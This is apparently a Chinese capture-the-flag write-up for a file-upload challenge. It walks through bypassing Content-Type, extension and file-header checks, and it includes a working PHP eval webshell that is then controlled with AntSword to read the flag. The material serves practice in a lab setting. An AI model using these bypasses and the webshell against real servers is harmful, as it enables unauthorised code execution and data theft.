[极客大挑战 2019]Upload
上传php一句话木马
传不上去 经查看前段没有过滤函数
所以是服务器对文件上传做了限制
文件上传校验姿势
- 客户端javascript校验(一般只校验后缀名)
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
修改content-type字段image/gif 继续发送请求包,有了新的报错,绕过了content-type检查。报错限制了php后缀,所以接下来就是绕过后缀限制。
有些情况下可以用php3,php4,php5,phtml.pht这些后缀代替php。
试到phtml
对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。
又有了新的报错,看来已经绕过后缀限制。但是服务端对文件内容'<?'检查,换马
<script language="php">eval($_POST['shell']);</script>
继续上传
有了新的报错,看来也是绕过成功,尝试绕过文件内容头的校验,在文件中添加GIF89a头,最终成功上传。
猜测上传目录为/upload 蚁剑连接成功
终端执行 cat /flag 得到flag